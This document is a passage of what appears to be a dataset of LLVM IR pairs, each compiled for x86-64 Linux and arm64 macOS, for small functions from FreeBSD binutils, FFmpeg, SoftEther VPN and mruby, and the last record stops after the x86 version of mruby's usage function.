; Function Attrs: nounwind uwtable
define internal void @define_bitmap_rcdata(i32 noundef %0, ptr nocapture noundef readonly %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #3
%5 = call ptr @rcdata_render_as_buffer(ptr noundef %2, ptr noundef nonnull %4) #3
%6 = load i32, ptr @RT_BITMAP, align 4, !tbaa !5
%7 = load i32, ptr %1, align 4, !tbaa !9
%8 = call ptr @define_standard_resource(ptr noundef nonnull @resources, i32 noundef %6, i32 noundef %0, i32 noundef %7, i32 noundef 0) #3
%9 = load i32, ptr @RES_TYPE_BITMAP, align 4, !tbaa !5
%10 = getelementptr inbounds %struct.TYPE_9__, ptr %8, i64 0, i32 2
store i32 %9, ptr %10, align 8, !tbaa !11
%11 = load i32, ptr %4, align 4, !tbaa !5
%12 = getelementptr inbounds %struct.TYPE_9__, ptr %8, i64 0, i32 1
%13 = getelementptr inbounds %struct.TYPE_9__, ptr %8, i64 0, i32 1, i32 0, i32 1
store i32 %11, ptr %13, align 8, !tbaa !16
store ptr %5, ptr %12, align 8, !tbaa !17
%14 = load i32, ptr %1, align 4, !tbaa !5
store i32 %14, ptr %8, align 8, !tbaa !5
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #3
ret void
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare ptr @rcdata_render_as_buffer(ptr noundef, ptr noundef) local_unnamed_addr #2
declare ptr @define_standard_resource(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !6, i64 0}
!10 = !{!"TYPE_10__", !6, i64 0}
!11 = !{!12, !6, i64 24}
!12 = !{!"TYPE_9__", !10, i64 0, !13, i64 8, !6, i64 24}
!13 = !{!"TYPE_8__", !14, i64 0}
!14 = !{!"TYPE_7__", !15, i64 0, !6, i64 8}
!15 = !{!"any pointer", !7, i64 0}
!16 = !{!12, !6, i64 16}
!17 = !{!12, !15, i64 8}
| ; ModuleID = 'AnghaBench/freebsd/contrib/binutils/binutils/extr_resrc.c_define_bitmap_rcdata.c'
source_filename = "AnghaBench/freebsd/contrib/binutils/binutils/extr_resrc.c_define_bitmap_rcdata.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@resources = common global i32 0, align 4
@RT_BITMAP = common local_unnamed_addr global i32 0, align 4
@RES_TYPE_BITMAP = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @define_bitmap_rcdata], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @define_bitmap_rcdata(i32 noundef %0, ptr nocapture noundef readonly %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #3
%5 = call ptr @rcdata_render_as_buffer(ptr noundef %2, ptr noundef nonnull %4) #3
%6 = load i32, ptr @RT_BITMAP, align 4, !tbaa !6
%7 = load i32, ptr %1, align 4, !tbaa !10
%8 = call ptr @define_standard_resource(ptr noundef nonnull @resources, i32 noundef %6, i32 noundef %0, i32 noundef %7, i32 noundef 0) #3
%9 = load i32, ptr @RES_TYPE_BITMAP, align 4, !tbaa !6
%10 = getelementptr inbounds i8, ptr %8, i64 24
store i32 %9, ptr %10, align 8, !tbaa !12
%11 = load i32, ptr %4, align 4, !tbaa !6
%12 = getelementptr inbounds i8, ptr %8, i64 8
%13 = getelementptr inbounds i8, ptr %8, i64 16
store i32 %11, ptr %13, align 8, !tbaa !17
store ptr %5, ptr %12, align 8, !tbaa !18
%14 = load i32, ptr %1, align 4, !tbaa !6
store i32 %14, ptr %8, align 8, !tbaa !6
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #3
ret void
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare ptr @rcdata_render_as_buffer(ptr noundef, ptr noundef) local_unnamed_addr #2
declare ptr @define_standard_resource(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !7, i64 0}
!11 = !{!"TYPE_10__", !7, i64 0}
!12 = !{!13, !7, i64 24}
!13 = !{!"TYPE_9__", !11, i64 0, !14, i64 8, !7, i64 24}
!14 = !{!"TYPE_8__", !15, i64 0}
!15 = !{!"TYPE_7__", !16, i64 0, !7, i64 8}
!16 = !{!"any pointer", !8, i64 0}
!17 = !{!13, !7, i64 16}
!18 = !{!13, !16, i64 8}
| freebsd_contrib_binutils_binutils_extr_resrc.c_define_bitmap_rcdata |
; ModuleID = 'AnghaBench/FFmpeg/libavdevice/extr_lavfi.c_create_subcc_packet.c'
source_filename = "AnghaBench/FFmpeg/libavdevice/extr_lavfi.c_create_subcc_packet.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_10__ = type { i32, i32, i32, ptr }
%struct.TYPE_8__ = type { ptr, %struct.TYPE_12__ }
%struct.TYPE_12__ = type { i32, i32, i32, i32 }
%struct.TYPE_9__ = type { i64, i32, i32 }
@AV_FRAME_DATA_A53_CC = dso_local local_unnamed_addr global i64 0, align 8
@llvm.compiler.used = appending global [1 x ptr] [ptr @create_subcc_packet], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @create_subcc_packet(ptr nocapture noundef readonly %0, ptr nocapture noundef readonly %1, i32 noundef %2) #0 {
%4 = load ptr, ptr %0, align 8, !tbaa !5
%5 = load ptr, ptr %4, align 8, !tbaa !10
%6 = sext i32 %2 to i64
%7 = getelementptr inbounds i32, ptr %5, i64 %6
%8 = load i32, ptr %7, align 4, !tbaa !14
%9 = icmp slt i32 %8, 0
br i1 %9, label %46, label %10
10: ; preds = %3
%11 = load i32, ptr %1, align 8, !tbaa !15
%12 = icmp sgt i32 %11, 0
br i1 %12, label %13, label %46
13: ; preds = %10
%14 = getelementptr inbounds %struct.TYPE_10__, ptr %1, i64 0, i32 3
%15 = load ptr, ptr %14, align 8, !tbaa !17
%16 = load i64, ptr @AV_FRAME_DATA_A53_CC, align 8, !tbaa !18
%17 = zext nneg i32 %11 to i64
br label %18
18: ; preds = %13, %24
%19 = phi i64 [ 0, %13 ], [ %25, %24 ]
%20 = getelementptr inbounds ptr, ptr %15, i64 %19
%21 = load ptr, ptr %20, align 8, !tbaa !20
%22 = load i64, ptr %21, align 8, !tbaa !21
%23 = icmp eq i64 %22, %16
br i1 %23, label %27, label %24
24: ; preds = %18
%25 = add nuw nsw i64 %19, 1
%26 = icmp eq i64 %25, %17
br i1 %26, label %46, label %18, !llvm.loop !23
27: ; preds = %18
%28 = and i64 %19, 4294967295
%29 = getelementptr inbounds ptr, ptr %15, i64 %28
%30 = load ptr, ptr %29, align 8, !tbaa !20
%31 = getelementptr inbounds %struct.TYPE_8__, ptr %4, i64 0, i32 1
%32 = getelementptr inbounds %struct.TYPE_9__, ptr %30, i64 0, i32 1
%33 = load i32, ptr %32, align 8, !tbaa !25
%34 = tail call i32 @av_new_packet(ptr noundef nonnull %31, i32 noundef %33) #2
%35 = icmp slt i32 %34, 0
br i1 %35, label %46, label %36
36: ; preds = %27
%37 = getelementptr inbounds %struct.TYPE_8__, ptr %4, i64 0, i32 1, i32 3
%38 = load i32, ptr %37, align 4, !tbaa !26
%39 = getelementptr inbounds %struct.TYPE_9__, ptr %30, i64 0, i32 2
%40 = load i32, ptr %39, align 4, !tbaa !27
%41 = load i32, ptr %32, align 8, !tbaa !25
%42 = tail call i32 @memcpy(i32 noundef %38, i32 noundef %40, i32 noundef %41) #2
store i32 %8, ptr %31, align 8, !tbaa !28
%43 = getelementptr inbounds %struct.TYPE_10__, ptr %1, i64 0, i32 1
%44 = getelementptr inbounds %struct.TYPE_8__, ptr %4, i64 0, i32 1, i32 1
%45 = load <2 x i32>, ptr %43, align 4, !tbaa !14
store <2 x i32> %45, ptr %44, align 4, !tbaa !14
br label %46
46: ; preds = %24, %10, %27, %3, %36
%47 = phi i32 [ 0, %36 ], [ 0, %3 ], [ %34, %27 ], [ 0, %10 ], [ 0, %24 ]
ret i32 %47
}
declare i32 @av_new_packet(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @memcpy(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"TYPE_11__", !7, i64 0}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !7, i64 0}
!11 = !{!"TYPE_8__", !7, i64 0, !12, i64 8}
!12 = !{!"TYPE_12__", !13, i64 0, !13, i64 4, !13, i64 8, !13, i64 12}
!13 = !{!"int", !8, i64 0}
!14 = !{!13, !13, i64 0}
!15 = !{!16, !13, i64 0}
!16 = !{!"TYPE_10__", !13, i64 0, !13, i64 4, !13, i64 8, !7, i64 16}
!17 = !{!16, !7, i64 16}
!18 = !{!19, !19, i64 0}
!19 = !{!"long", !8, i64 0}
!20 = !{!7, !7, i64 0}
!21 = !{!22, !19, i64 0}
!22 = !{!"TYPE_9__", !19, i64 0, !13, i64 8, !13, i64 12}
!23 = distinct !{!23, !24}
!24 = !{!"llvm.loop.mustprogress"}
!25 = !{!22, !13, i64 8}
!26 = !{!11, !13, i64 20}
!27 = !{!22, !13, i64 12}
!28 = !{!11, !13, i64 8}
| ; ModuleID = 'AnghaBench/FFmpeg/libavdevice/extr_lavfi.c_create_subcc_packet.c'
source_filename = "AnghaBench/FFmpeg/libavdevice/extr_lavfi.c_create_subcc_packet.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@AV_FRAME_DATA_A53_CC = common local_unnamed_addr global i64 0, align 8
@llvm.used = appending global [1 x ptr] [ptr @create_subcc_packet], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal range(i32 -2147483648, 1) i32 @create_subcc_packet(ptr nocapture noundef readonly %0, ptr nocapture noundef readonly %1, i32 noundef %2) #0 {
%4 = load ptr, ptr %0, align 8, !tbaa !6
%5 = load ptr, ptr %4, align 8, !tbaa !11
%6 = sext i32 %2 to i64
%7 = getelementptr inbounds i32, ptr %5, i64 %6
%8 = load i32, ptr %7, align 4, !tbaa !15
%9 = icmp slt i32 %8, 0
br i1 %9, label %46, label %10
10: ; preds = %3
%11 = load i32, ptr %1, align 8, !tbaa !16
%12 = icmp sgt i32 %11, 0
br i1 %12, label %13, label %46
13: ; preds = %10
%14 = getelementptr inbounds i8, ptr %1, i64 16
%15 = load ptr, ptr %14, align 8, !tbaa !18
%16 = load i64, ptr @AV_FRAME_DATA_A53_CC, align 8, !tbaa !19
%17 = zext nneg i32 %11 to i64
br label %18
18: ; preds = %13, %24
%19 = phi i64 [ 0, %13 ], [ %25, %24 ]
%20 = getelementptr inbounds ptr, ptr %15, i64 %19
%21 = load ptr, ptr %20, align 8, !tbaa !21
%22 = load i64, ptr %21, align 8, !tbaa !22
%23 = icmp eq i64 %22, %16
br i1 %23, label %27, label %24
24: ; preds = %18
%25 = add nuw nsw i64 %19, 1
%26 = icmp eq i64 %25, %17
br i1 %26, label %46, label %18, !llvm.loop !24
27: ; preds = %18
%28 = and i64 %19, 4294967295
%29 = getelementptr inbounds ptr, ptr %15, i64 %28
%30 = load ptr, ptr %29, align 8, !tbaa !21
%31 = getelementptr inbounds i8, ptr %4, i64 8
%32 = getelementptr inbounds i8, ptr %30, i64 8
%33 = load i32, ptr %32, align 8, !tbaa !26
%34 = tail call i32 @av_new_packet(ptr noundef nonnull %31, i32 noundef %33) #2
%35 = icmp slt i32 %34, 0
br i1 %35, label %46, label %36
36: ; preds = %27
%37 = getelementptr inbounds i8, ptr %4, i64 20
%38 = load i32, ptr %37, align 4, !tbaa !27
%39 = getelementptr inbounds i8, ptr %30, i64 12
%40 = load i32, ptr %39, align 4, !tbaa !28
%41 = load i32, ptr %32, align 8, !tbaa !26
%42 = tail call i32 @memcpy(i32 noundef %38, i32 noundef %40, i32 noundef %41) #2
store i32 %8, ptr %31, align 8, !tbaa !29
%43 = getelementptr inbounds i8, ptr %1, i64 4
%44 = getelementptr inbounds i8, ptr %4, i64 12
%45 = load <2 x i32>, ptr %43, align 4, !tbaa !15
store <2 x i32> %45, ptr %44, align 4, !tbaa !15
br label %46
46: ; preds = %24, %10, %27, %3, %36
%47 = phi i32 [ 0, %36 ], [ 0, %3 ], [ %34, %27 ], [ 0, %10 ], [ 0, %24 ]
ret i32 %47
}
declare i32 @av_new_packet(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @memcpy(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"TYPE_11__", !8, i64 0}
!8 = !{!"any pointer", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!12, !8, i64 0}
!12 = !{!"TYPE_8__", !8, i64 0, !13, i64 8}
!13 = !{!"TYPE_12__", !14, i64 0, !14, i64 4, !14, i64 8, !14, i64 12}
!14 = !{!"int", !9, i64 0}
!15 = !{!14, !14, i64 0}
!16 = !{!17, !14, i64 0}
!17 = !{!"TYPE_10__", !14, i64 0, !14, i64 4, !14, i64 8, !8, i64 16}
!18 = !{!17, !8, i64 16}
!19 = !{!20, !20, i64 0}
!20 = !{!"long", !9, i64 0}
!21 = !{!8, !8, i64 0}
!22 = !{!23, !20, i64 0}
!23 = !{!"TYPE_9__", !20, i64 0, !14, i64 8, !14, i64 12}
!24 = distinct !{!24, !25}
!25 = !{!"llvm.loop.mustprogress"}
!26 = !{!23, !14, i64 8}
!27 = !{!12, !14, i64 20}
!28 = !{!23, !14, i64 12}
!29 = !{!12, !14, i64 8}
| FFmpeg_libavdevice_extr_lavfi.c_create_subcc_packet |
; ModuleID = 'AnghaBench/SoftEtherVPN/src/Mayaqua/extr_Str.c_CheckStringLibrary.c'
source_filename = "AnghaBench/SoftEtherVPN/src/Mayaqua/extr_Str.c_CheckStringLibrary.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@.str = private unnamed_addr constant [30 x i32] [i32 84, i32 69, i32 83, i32 84, i32 95, i32 84, i32 69, i32 83, i32 84, i32 95, i32 49, i32 50, i32 51, i32 95, i32 49, i32 50, i32 51, i32 52, i32 53, i32 54, i32 55, i32 56, i32 57, i32 48, i32 49, i32 50, i32 51, i32 52, i32 53, i32 0], align 4
@.str.1 = private unnamed_addr constant [5 x i8] c"TEST\00", align 1
@.str.2 = private unnamed_addr constant [5 x i32] [i32 84, i32 69, i32 83, i32 84, i32 0], align 4
@.str.3 = private unnamed_addr constant [15 x i32] [i32 37, i32 83, i32 95, i32 37, i32 115, i32 95, i32 37, i32 117, i32 95, i32 37, i32 73, i32 54, i32 52, i32 117, i32 0], align 4
; Function Attrs: nounwind uwtable
define dso_local i32 @CheckStringLibrary() local_unnamed_addr #0 {
%1 = alloca [64 x i8], align 16
call void @llvm.lifetime.start.p0(i64 64, ptr nonnull %1) #3
%2 = call i32 @UniFormat(ptr noundef nonnull %1, i32 noundef 64, ptr noundef nonnull @.str.3, ptr noundef nonnull @.str.1, ptr noundef nonnull @.str.2, i32 noundef 123, i64 noundef 123456789012345) #3
%3 = call i64 @UniStrCmpi(ptr noundef nonnull %1, ptr noundef nonnull @.str) #3
%4 = icmp eq i64 %3, 0
%5 = zext i1 %4 to i32
call void @llvm.lifetime.end.p0(i64 64, ptr nonnull %1) #3
ret i32 %5
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare i32 @UniFormat(ptr noundef, i32 noundef, ptr noundef, ptr noundef, ptr noundef, i32 noundef, i64 noundef) local_unnamed_addr #2
declare i64 @UniStrCmpi(ptr noundef, ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
| ; ModuleID = 'AnghaBench/SoftEtherVPN/src/Mayaqua/extr_Str.c_CheckStringLibrary.c'
source_filename = "AnghaBench/SoftEtherVPN/src/Mayaqua/extr_Str.c_CheckStringLibrary.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@.str = private unnamed_addr constant [30 x i32] [i32 84, i32 69, i32 83, i32 84, i32 95, i32 84, i32 69, i32 83, i32 84, i32 95, i32 49, i32 50, i32 51, i32 95, i32 49, i32 50, i32 51, i32 52, i32 53, i32 54, i32 55, i32 56, i32 57, i32 48, i32 49, i32 50, i32 51, i32 52, i32 53, i32 0], align 4
@.str.1 = private unnamed_addr constant [5 x i8] c"TEST\00", align 1
@.str.2 = private unnamed_addr constant [5 x i32] [i32 84, i32 69, i32 83, i32 84, i32 0], align 4
@.str.3 = private unnamed_addr constant [15 x i32] [i32 37, i32 83, i32 95, i32 37, i32 115, i32 95, i32 37, i32 117, i32 95, i32 37, i32 73, i32 54, i32 52, i32 117, i32 0], align 4
; Function Attrs: nounwind ssp uwtable(sync)
define range(i32 0, 2) i32 @CheckStringLibrary() local_unnamed_addr #0 {
%1 = alloca [64 x i8], align 1
call void @llvm.lifetime.start.p0(i64 64, ptr nonnull %1) #3
%2 = call i32 @UniFormat(ptr noundef nonnull %1, i32 noundef 64, ptr noundef nonnull @.str.3, ptr noundef nonnull @.str.1, ptr noundef nonnull @.str.2, i32 noundef 123, i64 noundef 123456789012345) #3
%3 = call i64 @UniStrCmpi(ptr noundef nonnull %1, ptr noundef nonnull @.str) #3
%4 = icmp eq i64 %3, 0
%5 = zext i1 %4 to i32
call void @llvm.lifetime.end.p0(i64 64, ptr nonnull %1) #3
ret i32 %5
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare i32 @UniFormat(ptr noundef, i32 noundef, ptr noundef, ptr noundef, ptr noundef, i32 noundef, i64 noundef) local_unnamed_addr #2
declare i64 @UniStrCmpi(ptr noundef, ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
| SoftEtherVPN_src_Mayaqua_extr_Str.c_CheckStringLibrary |
; ModuleID = 'AnghaBench/mruby/mrbgems/mruby-bin-mirb/tools/mirb/extr_mirb.c_usage.c'
source_filename = "AnghaBench/mruby/mrbgems/mruby-bin-mirb/tools/mirb/extr_mirb.c_usage.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@.str = private unnamed_addr constant [10 x i8] c"switches:\00", align 1
@.str.1 = private unnamed_addr constant [53 x i8] c"-d set $DEBUG to true (same as `mruby -d`)\00", align 1
@.str.2 = private unnamed_addr constant [32 x i8] c"-r library same as `mruby -r`\00", align 1
@.str.3 = private unnamed_addr constant [60 x i8] c"-v print version number, then run in verbose mode\00", align 1
@.str.4 = private unnamed_addr constant [33 x i8] c"--verbose run in verbose mode\00", align 1
@.str.5 = private unnamed_addr constant [31 x i8] c"--version print the version\00", align 1
@.str.6 = private unnamed_addr constant [33 x i8] c"--copyright print the copyright\00", align 1
@.str.7 = private unnamed_addr constant [48 x i8] c"Usage: %s [switches] [programfile] [arguments]\0A\00", align 1
@.str.8 = private unnamed_addr constant [6 x i8] c" %s\0A\00", align 1
@llvm.compiler.used = appending global [1 x ptr] [ptr @usage], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @usage(ptr noundef %0) #0 {
%2 = tail call i32 @printf(ptr noundef nonnull @.str.7, ptr noundef %0) #2
%3 = tail call i32 @printf(ptr noundef nonnull @.str.8, ptr noundef nonnull @.str) #2
%4 = tail call i32 @printf(ptr noundef nonnull @.str.8, ptr noundef nonnull @.str.1) #2
%5 = tail call i32 @printf(ptr noundef nonnull @.str.8, ptr noundef nonnull @.str.2) #2
%6 = tail call i32 @printf(ptr noundef nonnull @.str.8, ptr noundef nonnull @.str.3) #2
%7 = tail call i32 @printf(ptr noundef nonnull @.str.8, ptr noundef nonnull @.str.4) #2
%8 = tail call i32 @printf(ptr noundef nonnull @.str.8, ptr noundef nonnull @.str.5) #2
%9 = tail call i32 @printf(ptr noundef nonnull @.str.8, ptr noundef nonnull @.str.6) #2
ret void
}
